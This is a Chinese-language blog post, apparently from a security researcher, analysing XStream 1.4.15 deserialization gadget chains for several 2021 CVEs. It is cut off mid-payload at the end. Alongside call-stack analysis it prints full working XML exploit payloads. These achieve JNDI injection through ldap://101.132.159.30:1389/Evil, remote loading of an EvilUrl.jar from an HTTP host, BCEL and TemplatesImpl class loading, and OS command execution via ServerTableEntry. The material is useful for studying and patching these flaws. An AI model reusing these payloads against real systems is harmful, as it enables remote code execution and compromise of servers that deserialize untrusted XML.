前言
接着上一篇,看一下新的绕过方式。2021系列是针对1.4.15版本进行的绕过。
SerializableConverter
看一下官方定义
其优先级是low
,比ReflectionConverter
高,前面知道,当一个类没有具体转换器(Special Converter)的时候,会分配优先级最低的ReflectionConverter
,但在同样的情况下,如果一个类实现了java.io.Serializable
接口且重写了readObject
或writeObject
方法,根据优先级关系,会分配到SerializableConverter
(ExternalizableConverter同理)。而且,在unmarshal
方法中,会调用对应类的readObject
方法(如果没有重写readObject的话,会调用XStream自定义的类来处理反序列化)
那么思路就来了:找一个没有具体Converter的类,实现Serializable(Externalizable)并重写了readObject方法(Externalizable不要求重写),同时在该类中,存在this.xxx.toString()
的调用形式,那么就可以形成一条新的toString链或者从readObject开始找新的Sink点,比如ClassLoader远程加载类RCE、找新的反射、找新的命令执行点。
还有一种思路是:继续原来2020系列的HashMap#hash() -> xxx#hashCode()
,若能在xxx
类的hashCode方法中找到this.xxx.toString
的形式也可以,但这种方式在2021系列没有出现,估计是比较难找。
CVE-2021-21344
影响版本
POC
由于最后的Sink是反射调用任意类的无参方法(除了final外没有访问限制),比较好用的(可以挖掘的):
- ProcessBuilder RCE
- JNDI注入
- 任意文件操作
- SSRF
- XXE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="sun.awt.datatransfer.DataTransferer$IndexOrderComparator"> <order>false</order> <indexMap class="com.sun.xml.internal.ws.client.ResponseContext"> <packet> <satellites class="java.util.IdentityHashMap" serialization="custom"> <unserializable-parents/> <java.util.IdentityHashMap> <default> <size>0</size> </default> <int>0</int> </java.util.IdentityHashMap> </satellites> <message class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart"> <dataSource class="com.sun.xml.internal.ws.message.JAXBAttachment"> <jaxbObject class="com.sun.rowset.JdbcRowSetImpl" serialization="custom"> <javax.sql.rowset.BaseRowSet> <default> <concurrency>0</concurrency> <escapeProcessing>false</escapeProcessing> <fetchDir>0</fetchDir> <fetchSize>0</fetchSize> <isolation>0</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>false</readOnly> <rowSetType>0</rowSetType> <showDeleted>false</showDeleted> <dataSource>ldap://IP:1389/Evil</dataSource> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default/> </com.sun.rowset.JdbcRowSetImpl> </jaxbObject> <bridge class="com.sun.xml.internal.ws.db.glassfish.BridgeWrapper"> <bridge class="com.sun.xml.internal.bind.v2.runtime.BridgeImpl"> <context> <marshallerPool class="com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1"> <outer-class reference="../.."/> </marshallerPool> <nameList> <namespaceURIs> <string>test</string> </namespaceURIs> <nsUriCannotBeDefaulted> <boolean>true</boolean> </nsUriCannotBeDefaulted> <localNames> <string>test</string> </localNames> <numberOfElementNames>0</numberOfElementNames> <numberOfAttributeNames>0</numberOfAttributeNames> </nameList> <c14nSupport>false</c14nSupport> <xmlAccessorFactorySupport>false</xmlAccessorFactorySupport> <allNillable>false</allNillable> <retainPropertyInfo>false</retainPropertyInfo> <supressAccessorWarnings>false</supressAccessorWarnings> <improvedXsiTypeHandling>false</improvedXsiTypeHandling> <disableSecurityProcessing>false</disableSecurityProcessing> <hasSwaRef>false</hasSwaRef> <fastBoot>false</fastBoot> </context> <bi class="com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl"> <isNilIncluded>false</isNilIncluded> <flag>0</flag> <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType> <inheritedAttWildcard class="com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection"> <getter> <class>com.sun.rowset.JdbcRowSetImpl</class> <name>getDatabaseMetaData</name> <parameter-types/> </getter> </inheritedAttWildcard> <retainPropertyInfo>true</retainPropertyInfo> <uriProperties class="com.sun.xml.internal.bind.v2.runtime.property.ValueProperty-array"/> </bi> </bridge> </bridge> </dataSource> </message> <wasTransportSecure>false</wasTransportSecure> <isAdapterDeliversNonAnonymousResponse>false</isAdapterDeliversNonAnonymousResponse> <packetTakesPriorityOverRequestContext>false</packetTakesPriorityOverRequestContext> <invocationProperties> <entry> <string>javax.xml.ws.binding.attachments.inbound</string> <map/> </entry> </invocationProperties> <isFastInfosetDisabled>false</isFastInfosetDisabled> </packet> </indexMap> </comparator> </default> <int>3</int> <string>javax.xml.ws.binding.attachments.inbound</string> <string>javax.xml.ws.binding.attachments.inbound</string> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
分析
链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| com.thoughtworks.xstream.converters.reflection.SerializableConverter#doUnmarshal com.thoughtworks.xstream.converters.reflection.SerializationMembers#callReadObject java.util.PriorityQueue#readObject() java.util.PriorityQueue#heapify java.util.PriorityQueue#siftDown java.util.PriorityQueue#siftDownUsingComparator sun.awt.datatransfer.DataTransferer$IndexOrderComparator#compare() sun.awt.datatransfer.DataTransferer$IndexOrderComparator#compareIndices com.sun.xml.internal.ws.client.ResponseContext#get() -> this.packet.getMessage().getAttachments() com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart#getAttachments() com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart#getMessage com.sun.xml.internal.ws.message.JAXBAttachment#getInputStream() com.sun.xml.internal.ws.message.JAXBAttachment#asInputStream com.sun.xml.internal.ws.db.glassfish.BridgeWrapper#marshal() //多个重载方法 com.sun.xml.internal.bind.v2.runtime.BridgeImpl#marshal() //实际调用的com.sun.xml.internal.bind.api.Bridge com.sun.xml.internal.bind.v2.runtime.BridgeImpl#marshal //参数不同 com.sun.xml.internal.bind.v2.runtime.MarshallerImpl#write() com.sun.xml.internal.bind.v2.runtime.XMLSerializer#childAsXsiType() com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl#serializeURIs() com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection#get() // invoke Sink点
|
这个链子很长。挑一些关键部分来说一下,其他部分直接跟进即可。
Source - PriorityQueue#readObject
下断在PriorityQueue#readObject
处,熟悉CC4链子的肯定很熟悉PriorityQueue
这个类,所以直接跟进到siftDown
方法。
这里设置了Comparator
,继续跟进,会调用comparator.compare
。所以这里又是一条compare
方法的链子
一直跟进到DataTransferer$IndexOrderComparator#compareIndices()
,该方法中用两个可利用的连接点
- var0.get(var):这里要求var0传入时就是Map及其子类,所以这里不能直接连接到Sink点
- var4.compareTo(var5):这是一条compareTo的链子,保留观察。
Medium - BridgeImpl#marshal
中间的部分就不说了,调用栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message) asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message) getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message) getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml) getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml) getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message) get:111, ResponseContext (com.sun.xml.internal.ws.client) compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer) compare:2971, DataTransferer$IndexOrderComparator (sun.awt.datatransfer) siftDownUsingComparator:721, PriorityQueue (java.util) siftDown:687, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:795, PriorityQueue (java.util)
|
跟一下JAXBAttachment#writeTo
。可以看到这里的this.jaxObject
是我们POC中设置的JdbcRowSetImpl对象
而这里的this.bridge
设置的是BridgeWrapper
,具体看一下该类的marshal
方法,跟进可以看到,基本一模一样的调用,那为什么这里要两次不同的this.bridge.marshal
调用呢?因为两次this.bridge
的类型不同,第一次是XMLBridge
接口,第二次是Bridge
接口,而我们想要连接的BridgeImpl
是实现了Bridge
接口的,所以要两次调用。
而BridgeImpl#marshal(T object, ...)
实际是调用的Bridge#marshal(T object, ...)
。
注意这里的this.context.marshallerPool.take()
,对应的POC是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <context> <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'> <outer-class reference='../..'/> </marshallerPool> <nameList> <nsUriCannotBeDefaulted> <boolean>true</boolean> </nsUriCannotBeDefaulted> <namespaceURIs> <string>1</string> </namespaceURIs> <localNames> <string>UTF-8</string> </localNames> </nameList> </context>
|
JAXBContextImpl$1
是一个内部匿名类,定义如下。关于匿名类的知识,可以参考
https://www.cnblogs.com/sqp51312/p/6100314.html
https://zhuanlan.zhihu.com/p/93660248
先调用Pool$Impl
已经定义的take()
方法,然后再回调内部匿名类重写的create
方法。所以最后会返回一个MarshallerImpl
对象。
并且<context>
标签下设置的内容(即JAXBContextImpl
对象)会存到MarshallerImpl
这个对象的context
属性中,同时创建XMLSerializer
并保存在serializer
属性中,参数关系如下:
最后调用回BridgeImpl#marshal(Marshaller _m, T t, OutputStream output, NamespaceContext nsContext)
这个方法
继续跟进
一直到XMLSerializer#childAsXsiType()
方法中,先调用pushObject
将child存起来,这不用管,只需要知道这里的child不会改变,仍然是JdbcRowSetImpl
。
所以asExpected
为true要求设置ClassBeanInfoImpl.jaxbType
也是JdbcRowSetImpl
。
随后调用classBeanInfoImpl#serializeURIs()
Sink - Accessor$GetterSetterReflection#get
进入ClassBeanInfoImpl#serializeURIs()
后,这里的this.inheritedAttWildcard
和bean可控,就可以调用到我们的Sink点了,在Accessor$GetterSetterReflection#get()
中调用反射完成恶意操作
后面就是JdbcRowSetImpl实现JNDI注入的过程了,对于该类,有几个点可以调用到connect
方法实现JNDI注入
- getDatabaseMetaData
- setAutoCommit(FastJson中的)
CVE-2021-21345
该链复用了21344,直接调用Runtime.getRuntime.exec()
来RCE,最后反射Sink点由原先的JdbcRowSetImpl
换为ServerTableEntry#verify
,因为在1.4.14版本已经ban调了ProcessBuilder
,所以只能另找其他类来RCE
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="sun.awt.datatransfer.DataTransferer$IndexOrderComparator"> <order>false</order> <indexMap class="com.sun.xml.internal.ws.client.ResponseContext"> <packet> <satellites class="java.util.IdentityHashMap" serialization="custom"> <unserializable-parents/> <java.util.IdentityHashMap> <default> <size>0</size> </default> <int>0</int> </java.util.IdentityHashMap> </satellites> <message class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart"> <dataSource class="com.sun.xml.internal.ws.message.JAXBAttachment"> <jaxbObject class="com.sun.corba.se.impl.activation.ServerTableEntry"> <state>0</state> <serverId>0</serverId> <activateRetryCount>0</activateRetryCount> <activationCmd>open /System/Applications/Calculator.app</activationCmd> <debug>false</debug> </jaxbObject> <bridge class="com.sun.xml.internal.ws.db.glassfish.BridgeWrapper"> <bridge class="com.sun.xml.internal.bind.v2.runtime.BridgeImpl"> <context> <marshallerPool class="com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1"> <outer-class reference="../.."/> </marshallerPool> <nameList> <namespaceURIs> <string>test</string> </namespaceURIs> <nsUriCannotBeDefaulted> <boolean>true</boolean> </nsUriCannotBeDefaulted> <localNames> <string>test</string> </localNames> <numberOfElementNames>0</numberOfElementNames> <numberOfAttributeNames>0</numberOfAttributeNames> </nameList> <c14nSupport>false</c14nSupport> <xmlAccessorFactorySupport>false</xmlAccessorFactorySupport> <allNillable>false</allNillable> <retainPropertyInfo>false</retainPropertyInfo> <supressAccessorWarnings>false</supressAccessorWarnings> <improvedXsiTypeHandling>false</improvedXsiTypeHandling> <disableSecurityProcessing>false</disableSecurityProcessing> <hasSwaRef>false</hasSwaRef> <fastBoot>false</fastBoot> </context> <bi class="com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl"> <isNilIncluded>false</isNilIncluded> <flag>0</flag> <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType> <inheritedAttWildcard class="com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection"> <getter> <class>com.sun.corba.se.impl.activation.ServerTableEntry</class> <name>verify</name> <parameter-types/> </getter> </inheritedAttWildcard> <retainPropertyInfo>true</retainPropertyInfo> <uriProperties class="com.sun.xml.internal.bind.v2.runtime.property.ValueProperty-array"/> </bi> </bridge> </bridge> </dataSource> </message> <wasTransportSecure>false</wasTransportSecure> <isAdapterDeliversNonAnonymousResponse>false</isAdapterDeliversNonAnonymousResponse> <packetTakesPriorityOverRequestContext>false</packetTakesPriorityOverRequestContext> <invocationProperties> <entry> <string>javax.xml.ws.binding.attachments.inbound</string> <map/> </entry> </invocationProperties> <isFastInfosetDisabled>false</isFastInfosetDisabled> </packet> </indexMap> </comparator> </default> <int>3</int> <string>javax.xml.ws.binding.attachments.inbound</string> <string>javax.xml.ws.binding.attachments.inbound</string> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
分析
链子就不多分析了,直接看一下com.sun.corba.se.impl.activation.ServerTableEntry#verify
方法,赤裸裸的RCE
CVE-2021-21347
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="javafx.collections.ObservableList$1"/> </default> <int>3</int> <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="java.io.SequenceInputStream"> <e class="javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator"> <iterator class="com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator"> <names class="java.util.ArrayList$Itr"> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>1</expectedModCount> <outer-class> <string>EvilUrl</string> </outer-class> </names> <processorCL class="java.net.URLClassLoader"> <package2certs/> <classes/> <domains/> <defaultAssertionStatus>false</defaultAssertionStatus> <initialized>true</initialized> <pdcache/> <ucp> <path> <url>http://101.132.159.30:7777/EvilUrl.jar</url> </path> <urls serialization="custom"> <unserializable-parents/> <vector> <default> <capacityIncrement>0</capacityIncrement> <elementCount>1</elementCount> <elementData> <url>http://101.132.159.30:7777/EvilUrl.jar</url> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> </elementData> </default> </vector> </urls> <loaders/> <lmap/> <closed>false</closed> </ucp> </processorCL> </iterator> <type>KEYS</type> </e> <in class="java.io.ByteArrayInputStream"> <buf></buf> <pos>0</pos> <mark>0</mark> <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> </dataHandler> <dataLen>0</dataLen> </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference="../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"/> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
分析
1 2 3 4 5 6 7 8 9 10
| PriorityQueue#readObject() -> 设置comparator javafx.collections.ObservableList$1#compare() com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString() com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom() java.io.SequenceInputStream#read() java.io.SequenceInputStream#nextStream javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator#hasMoreElements() com.sun.tools.javac.processing.JavacProcessingEnvironment.NameProcessIterator#hasNext() -> this.processorCL.loadClass(var1)
|
1 2 3 4 5 6 7 8 9 10 11 12
| hasNext:417, JavacProcessingEnvironment$NameProcessIterator (com.sun.tools.javac.processing) hasMoreElements:148, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing) nextStream:109, SequenceInputStream (java.io) read:211, SequenceInputStream (java.io) readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util) get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller) toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller) compare:153, ObservableList$1 (javafx.collections) siftDownUsingComparator:721, PriorityQueue (java.util) siftDown:687, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:795, PriorityQueue (java.util)
|
特征:
- Source:PriorityQueue带comparator,是
ObservableList$1
- toString链:
javafx.collections.ObservableList$1#compare()
- com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString()
- nextStream链,复用了之前2020-JNDI的部分
- Sink:
NameProcessIterator#hasNext
-> this.processorCL.loadClass(var1)
- this.processorCL:可控,可以设置为任意ClassLoader
- var1可控,可以设置为要加载初始化的类
- 触发点
- URLClassLoader#loadClass
- com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass
CVE-2021-21350
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="javafx.collections.ObservableList$1"/> </default> <int>3</int> <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="java.io.SequenceInputStream"> <e class="javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator"> <iterator class="com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator"> <names class="java.util.ArrayList$Itr"> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>1</expectedModCount> <outer-class> <string>$$BCEL$$...</string> </outer-class> </names> <processorCL class="com.sun.org.apache.bcel.internal.util.ClassLoader"> <parent class="sun.misc.Launcher$ExtClassLoader"> <defaultAssertionStatus>false</defaultAssertionStatus> <initialized>false</initialized> </parent> <package2certs/> <classes defined-in="java.lang.ClassLoader"/> <defaultDomain> <classloader class="com.sun.org.apache.bcel.internal.util.ClassLoader" reference="../.."/> <hasAllPerm>false</hasAllPerm> <staticPermissions>false</staticPermissions> </defaultDomain> <domains/> <defaultAssertionStatus>false</defaultAssertionStatus> <classes/> <ignored__packages> <string>java.</string> <string>javax.</string> <string>sun.</string> </ignored__packages> <deferTo class="sun.misc.Launcher$ExtClassLoader" reference="../parent"/> </processorCL> </iterator> <type>KEYS</type> </e> <in class="java.io.ByteArrayInputStream"> <buf></buf> <pos>0</pos> <mark>0</mark> <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> </dataHandler> <dataLen>0</dataLen> </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference="../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"/> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
分析
和21347一样,只不过最后是调用BCEL的ClassLoader来加载恶意类,有jdk版本限制,在8u251之后BCEL的ClassLoader被移除了
CVE-2021-21351
这是第三种类型的链,和前两种不一样。该链是一条新的toString链,也可以配合2020的JNDI注入来构造成新的链子。
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <tree-map> <entry> <javax.naming.ldap.Rdn_-RdnEntry> <type>xxx</type> <value class="com.sun.org.apache.xpath.internal.objects.XRTreeFrag"> <m__DTMXRTreeFrag> <m__dtm class="com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM"> <m__size>-10000</m__size> <m__shouldStripWS>false</m__shouldStripWS> <m__indexing>false</m__indexing> <m__incrementalSAXSource class="com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces"> <fPullParserConfig class="com.sun.rowset.JdbcRowSetImpl" serialization="custom"> <javax.sql.rowset.BaseRowSet> <default> <concurrency>0</concurrency> <escapeProcessing>false</escapeProcessing> <fetchDir>0</fetchDir> <fetchSize>0</fetchSize> <isolation>0</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>false</readOnly> <rowSetType>0</rowSetType> <showDeleted>false</showDeleted> <dataSource>ldap://101.132.159.30:1389/Evil</dataSource> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default/> </com.sun.rowset.JdbcRowSetImpl> </fPullParserConfig> <fConfigSetInput> <class>com.sun.rowset.JdbcRowSetImpl</class> <name>setAutoCommit</name> <parameter-types> <class>boolean</class> </parameter-types> </fConfigSetInput> <fConfigParse reference="../fConfigSetInput"/> <fParseInProgress>false</fParseInProgress> </m__incrementalSAXSource> <m__endDocumentOccured>false</m__endDocumentOccured> <m__textPendingStart>0</m__textPendingStart> <m__useSourceLocationProperty>false</m__useSourceLocationProperty> <m__pastFirstElement>false</m__pastFirstElement> </m__dtm> <m__dtmIdentity>0</m__dtmIdentity> </m__DTMXRTreeFrag> <m__dtmRoot>-1</m__dtmRoot> <m__allowRelease>false</m__allowRelease> </value> </javax.naming.ldap.Rdn_-RdnEntry> <string>b</string> </entry> <entry> <javax.naming.ldap.Rdn_-RdnEntry> <type>xxx</type> <value class="com.sun.org.apache.xpath.internal.objects.XString"/> </javax.naming.ldap.Rdn_-RdnEntry> <string>a</string> </entry> </tree-map>
|
分析
1 2 3 4 5 6 7 8 9 10 11
| com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap() java.util.TreeMap#put() javax.naming.ldap.Rdn$RdnEntry#compareTo() com.sun.org.apache.xpath.internal.objects.XString#equals() com.sun.org.apache.xpath.internal.objects.XRTreeFrag#toString() com.sun.org.apache.xpath.internal.objects.XRTreeFrag#str com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM#getStringValue() com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM#_firstch com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM#nextNode com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces#deliverMoreNodes() com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces#parseSome -> Method.invoke(xxx,xxx)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset) <- Method.invoke(xxx,xxx) parseSome:373, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref) deliverMoreNodes:312, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref) nextNode:814, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm) _firstch:535, DTMDefaultBase (com.sun.org.apache.xml.internal.dtm.ref) getStringValue:1294, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm) str:207, XRTreeFrag (com.sun.org.apache.xpath.internal.objects) toString:314, XObject (com.sun.org.apache.xpath.internal.objects) equals:392, XString (com.sun.org.apache.xpath.internal.objects) compareTo:441, Rdn$RdnEntry (javax.naming.ldap) compareTo:420, Rdn$RdnEntry (javax.naming.ldap) put:568, TreeMap (java.util) putAll:281, AbstractMap (java.util) putAll:327, TreeMap (java.util) populateTreeMap:121, TreeMapConverter (com.thoughtworks.xstream.converters.collections)
|
特征:
Source:PriorityQueue或TreeMap不带comparator
toString链:
- 先调用
javax.naming.ldap.Rdn$RdnEntry#compareTo(XString)
- 再调用
com.sun.org.apache.xpath.internal.objects.XString#equals()
,其中可调用任意类toString()方法
com.sun.org.apache.xpath.internal.objects.XRTreeFrag#toString()
Sink:IncrementalSAXSource_Xerces#parseSome
-> method.invoke(xxx,new Boolen(false) 或者 null)
- method可控,但没设setAccessible
- fPullParserConfig可控
- 参数不可控,两种原则,由
fConfigSetInput
变量决定
- 两种:
- 调用任意public且参数类型是Boolen或boolean
- 调用任意public无参
触发点:
- JdbcRowSetImpl#setAutoCommit()
- JdbcRowSetImpl#getMetaData()
CVE-2021-39139
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <map> <entry> <dynamic-proxy> <interface>javax.xml.transform.Templates</interface> <handler class="sun.reflect.annotation.AnnotationInvocationHandler" serialization="custom"> <sun.reflect.annotation.AnnotationInvocationHandler> <default> <memberValues> <entry> <string>f5a5a608</string> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom"> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <default> <__name>diggid</__name> <__bytecodes> <byte-array>xxx</byte-array> </__bytecodes> <__transletIndex>0</__transletIndex> <__indentNumber>0</__indentNumber> </default> <boolean>false</boolean> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </entry> </memberValues> <type>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</type> </default> </sun.reflect.annotation.AnnotationInvocationHandler> </handler> </dynamic-proxy> <string>foo</string> </entry> <entry> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference="../../entry/dynamic-proxy/handler/sun.reflect.annotation.AnnotationInvocationHandler/default/memberValues/entry/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"/> <string>foo</string> </entry> </map>
|
分析
Jdk7u21的链子,以HashMap#put()
触发,再封装一层还有LinkedHashSet#add()
1 2 3 4 5
| HashMap#put() HashMap#putVal Proxy#equals() AnnotationInvocationHandler#invoke() AnnotationInvocationHandler#equalsImpl -> 遍历proxy接口(Template)的方法,反射调用getOutputProperties
|
CVE-2021-39141 & 39150
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="com.sun.xml.internal.ws.client.sei.SEIStub"> <owner/> <managedObjectManagerClosed>false</managedObjectManagerClosed> <databinding class="com.sun.xml.internal.ws.db.DatabindingImpl"> <stubHandlers> <entry> <method> <class>javax.naming.InitialContext</class> <name>doLookup</name> <parameter-types> <class>java.lang.String</class> </parameter-types> </method> <com.sun.xml.internal.ws.client.sei.StubHandler> <bodyBuilder class="com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit"> <indices> <int>0</int> </indices> <getters> <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter> </getters> <accessors> <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2> <val_-isJAXBElement>false</val_-isJAXBElement> <val_-getter class="com.sun.xml.internal.ws.spi.db.MethodGetter"> <method reference="../../../../../../method"/> </val_-getter> <val_-isListType>false</val_-isListType> <val_-n> <namespaceURI>diggid</namespaceURI> <localPart>diggid</localPart> <prefix></prefix> </val_-n> <val_-setter class="com.sun.xml.internal.ws.spi.db.MethodSetter"> <type>java.lang.Object</type> <method reference="../../../../../../method"/> </val_-setter> <outer-class> <propertySetters> <entry> <javax.xml.namespace.QName> <namespaceURI>diggid</namespaceURI> <localPart>diggid</localPart> <prefix></prefix> </javax.xml.namespace.QName> <com.sun.xml.internal.ws.spi.db.MethodSetter reference="../../../../val_-setter"/> </entry> </propertySetters> <propertyGetters> <entry> <javax.xml.namespace.QName reference="../../../propertySetters/entry/javax.xml.namespace.QName"/> <com.sun.xml.internal.ws.spi.db.MethodGetter reference="../../../../val_-getter"/> </entry> </propertyGetters> <elementLocalNameCollision>true</elementLocalNameCollision> </outer-class> </com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2> </accessors> <wrapper>java.lang.Object</wrapper> <bindingContext class="com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper"/> <dynamicWrapper>false</dynamicWrapper> </bodyBuilder> <isOneWay>false</isOneWay> </com.sun.xml.internal.ws.client.sei.StubHandler> </entry> </stubHandlers> <clientConfig>false</clientConfig> </databinding> <methodHandlers> <entry> <method> <class>java.lang.Comparable</class> <name>compareTo</name> <parameter-types> 